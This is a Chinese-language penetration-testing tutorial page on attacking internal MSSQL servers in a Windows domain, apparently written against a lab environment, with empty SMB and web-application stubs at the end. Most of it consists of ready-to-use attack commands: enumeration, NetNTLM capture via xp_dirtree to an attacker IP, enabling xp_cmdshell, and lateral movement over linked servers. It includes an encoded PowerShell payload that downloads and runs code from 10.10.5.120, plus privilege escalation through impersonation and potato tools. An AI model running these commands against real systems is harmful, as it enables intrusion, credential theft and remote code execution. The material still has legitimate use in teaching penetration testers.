Skip to main content

内部服务的利用

MSSQL

MSSQL是一个Windows平台的关系型数据库管理系统。它们通常被用于存储信息以支持无数的业务功能。除了数据泄露的可能外,MSSQL也有着很大的攻击面,可导致命令执行、特权提升、横向移动,持久化。
脚本PowerUpSQL (https://github.com/NetSPI/PowerUpSQL)可以帮助我们枚举信息并与MSSQL数据库交互。impacket中的mssqlclient.py脚本,heidisql等工具可以直接与MSSQL实例交互,相比powerupsql的好处是在执行查询语句的时候减少一层引号。
在bloodhound中寻找MSSQL实例:MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) RETURN p

使用powerupsql.ps1枚举
域内数据库实例:get-sqlinstancedomain
本地数据库实例:get-sqlinstancelocal
数据库实例信息:get-sqlserverinfo -instance "srv-1.dev.cyberbotic.io,1433"
测试连通性:get-sqlconnectiontest -instance "srv-1.dev.cyberbotic.io,1433"
语句执行:get-sqlquery -instance "srv-1.dev.cyberbotic.io,1433" -query "select @@servername"

使用SQL语句枚举
当前登录:select user_name();
当前用户:select system_user;
所有登录:select * from master..syslogins;
当前是否是sysadmin:select is_srvrolemember('sysadmin')

 

NTLM捕获

在MSSQL中,存储过程xp_dirtree可被用于捕获当前主体的NetNTLM哈希,之后我们可以离线破解哈希或者中继该哈希至别的主机
在Kali上开启ntlmrelayx,在MSSQL交互中执行exec xp_dirtree '\\10.10.5.120\pwn, 1 , 1'

 

xp_cmdshell

存储过程xp_cmdshell可被用来在SQL服务器上执行系统命令。该存储过程默认被禁用,幸运的是,如果我们当前是sysadmin,那么可以重新启用并且执行任意命令
查看xp_cmdshell状态:select * from sys.configurations where name='xp_cmdshell';
启用xp_cmdshell:sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
执行任意命令:EXEC xp_cmdshell 'whoami';

横向移动

SQL服务器中存在链接服务器的概念,即允许服务器实例访问一个外部资源。MSSQL支持多种资源,包括其他的MSSQL服务器,它们可分布于任何地方,包括其他域、森林甚至云端。我们可以利用MSSQL链接来实现横向移动。
枚举链接
MSSQL交互中
select * from master..sysservers;
exec sp_linkedservers;

PowerUpSQL中
get-sqlserverlinkcrawl -instance 'srv-1.dev.cyberbotic.io,1433' [-username xxx -password xxx]
跨链接执行语句查询:select * from openquery("sql-1.cyberbotic.io",'select @@servername');
为了能够横向移动到链接服务器,我们当然需要启用xp_cmdshell并执行任意命令。跨链接启用xp_cmdshell需要rpc out开启
开启链接的rpc out:exec sp_serveroption 'srv-2', 'rpc out', 'true';

跨越链接启用xp_cmdshell:
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [srv-2]; EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [srv-2]; EXEC ('xp_cmdshell ''whoami'';') AT [srv-2]
跨链接进行远程命令执行的时候,需要额外注意引号的问题,为了尽可能减轻引号的困扰,建议对命令进行编码处理
Kali上:echo -en 'IEX ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))' | iconv -t UTF-16LE | base64 -w 0

编码后的命令:powershell -exec bypass -nop -enc [copy here]
最终的载荷:EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [srv-2]; EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [srv-2]; EXEC ('xp_cmdshell ''powershell -exec bypass -nop -enc <encoded payload>'';') AT [srv-2]
如果使用powerupsql进行跨链接远程命令执行,会额外多一层引号。因此在有票据、明文凭证、NTLM凭证的时候,尽可能使用mssqlclient.py、heidisql等能直接与MSSQL交互的工具

 

特权提升

在这里,特权提升一语双关,一是在MSSQL数据库中实现特权提升,即从当前用户提升至sysadmin权限用户或登录。二是在Windows系统中,从服务帐号提升到本地管理员甚至SYSTEM权限
MSSQL数据库中
考虑到xp_cmdshell需要sysadmin权限开启与调用,所以我们需要找到具有sysadmin权限的用户(user)或者登录(login)并以此身份访问。举个例子,sa是具有sysadmin权限的login,是实例(instance)级的。而dbo是具有sysadmin权限的user,是数据库(database)级的。

如何寻找这样的login或者user?
在Bloodhound中,我们可以查看一个用户是否是sysadmin,尤其是与MSSQL相关的服务帐号,例如svc_sql。数据库服务器的本地管理员帐号或者主机帐号(即SRV-1$或SYSTEM),往往也可能具有sysadmin权限,利于我们通过链接移动到其他链接服务器上。一些配置不当的web应用,与数据库连接的login具备sysadmin权限
此外,一些login或者user本身不具备sysadmin权限,但是可以模仿具有sysadmin权限的登陆或者用户。

模仿sa登陆:execute as login='sa'
模仿dbo用户:user msdb; execute as user='dbo';
我们还可以通过链接来提升特权。举个例子,我们在当前数据库实例中没有sysadmin特权,但是通过链接对链接服务器具有sysadmin特权,因此我们可以先移动到链接服务器。接着,在链接服务器实例上进行枚举,发现有login或者user通过链接对当前的数据库实例具有sysadmin权限,然后移动到当前数据库实例所在的服务器。

刚才我们说了在MSSQL系统内如何提升特权,接下来谈谈如何在Windows系统中提升特权。这就简单许多了,当我们通过xp_cmdshell获得shell之后,当前用户是MSSQL服务帐号,而MSSQL服务帐号默认具有SeImpersonatePrivilege特权,该特权允许服务帐号模仿令牌。我们可以利用该特权将权限提升至SYSTEM权限,可以使用工具sweetpotato(https://github.com/CCob/SweetPotato)、badpotato(https://github.com/BeichenDream/BadPotato),printspoofer(https://github.com/itm4n/PrintSpoofer)

 

SMB

1:

Web应用

1: